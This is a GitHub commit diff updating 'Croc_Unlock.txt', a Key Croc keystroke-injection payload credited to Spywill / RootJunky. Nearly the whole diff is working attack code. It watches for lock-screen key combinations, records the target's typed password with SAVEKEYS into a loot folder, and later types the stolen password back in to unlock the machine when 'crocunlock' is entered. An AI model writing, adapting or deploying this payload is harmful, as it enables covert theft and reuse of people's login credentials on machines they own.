Update Croc_Unlock.txt

minor changes
pull/53/head
spywill 2022-12-14 05:36:50 -05:00 committed by GitHub
parent b91cf3ce2a
commit 1c69fa92fb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 21 additions and 31 deletions

View File

@ -2,18 +2,15 @@
# Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3 # Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3
# Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered # Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered
# Author: Spywill / RootJunky # Author: Spywill / RootJunky
# Version: 2.0 # Version: 2.1
# Category: Key Croc # Category: Key Croc
MATCH (crocunlock|GUI-l|CONTROL-ALT-F3) MATCH (crocunlock|GUI-l|CONTROL-ALT-F3)
UNLOCK_TMP="/tmp/unlock_Count.txt" UNLOCK_TMP="/tmp/unlock_Count.txt"
if [[ -d "/root/udisk/loot/Croc_Pot" && "/root/udisk/tools/Croc_Pot" ]]; then CROC_POT_DIR=(/root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot)
LED B for dir in "${CROC_POT_DIR[@]}"; do [[ ! -d "$dir" ]] && mkdir "$dir" || LED B; done
else
mkdir -p /root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot
fi
UNLOCK_FILE() { UNLOCK_FILE() {
until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do
@ -25,12 +22,12 @@ UNLOCK_FILE() {
} }
UNLOCK_COUNT() { UNLOCK_COUNT() {
if [ -f ${UNLOCK_TMP} ]; then if [ -f $UNLOCK_TMP ]; then
i=$(sed -n 1p ${UNLOCK_TMP}) i=$(sed -n 1p $UNLOCK_TMP)
echo $(( $i + 1 )) > ${UNLOCK_TMP} echo "$(( $i + 1 ))" > $UNLOCK_TMP
RELOAD_PAYLOADS RELOAD_PAYLOADS
else else
echo $(( i++ )) > ${UNLOCK_TMP} echo "$(( i++ ))" > $UNLOCK_TMP
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered
rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt
@ -40,10 +37,19 @@ UNLOCK_COUNT() {
} }
case $LOOT in case $LOOT in
GUI-l) "GUI-l" | "CONTROL-ALT-F3")
UNLOCK_COUNT UNLOCK_COUNT
Q KEYCODE 00,00,2c Q BACKSPACE
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then if [ "$(sed -n 1p $UNLOCK_TMP)" -eq "0" ]; then
if [ "$LOOT" = "CONTROL-ALT-F3" ]; then
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS.txt ]; then
if [ "$(sed -n 3p /root/udisk/tools/Croc_Pot/Croc_OS.txt)" = "raspberrypi" ]; then
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
Q ENTER
Q DELAY 1000
fi
fi
fi
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
LED ATTACK LED ATTACK
UNLOCK_FILE UNLOCK_FILE
@ -51,27 +57,11 @@ SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
RELOAD_PAYLOADS RELOAD_PAYLOADS
UNLOCK_FILE UNLOCK_FILE
fi fi
;;
CONTROL-ALT-F3)
UNLOCK_COUNT
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt ]; then
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
Q ENTER
Q DELAY 1000
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
LED ATTACK
UNLOCK_FILE
fi
else
RELOAD_PAYLOADS
UNLOCK_FILE
fi
;; ;;
crocunlock) crocunlock)
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
$(sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered) sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
$(sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered) sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
LED G LED G
Q BACKSPACE Q BACKSPACE
Q BACKSPACE Q BACKSPACE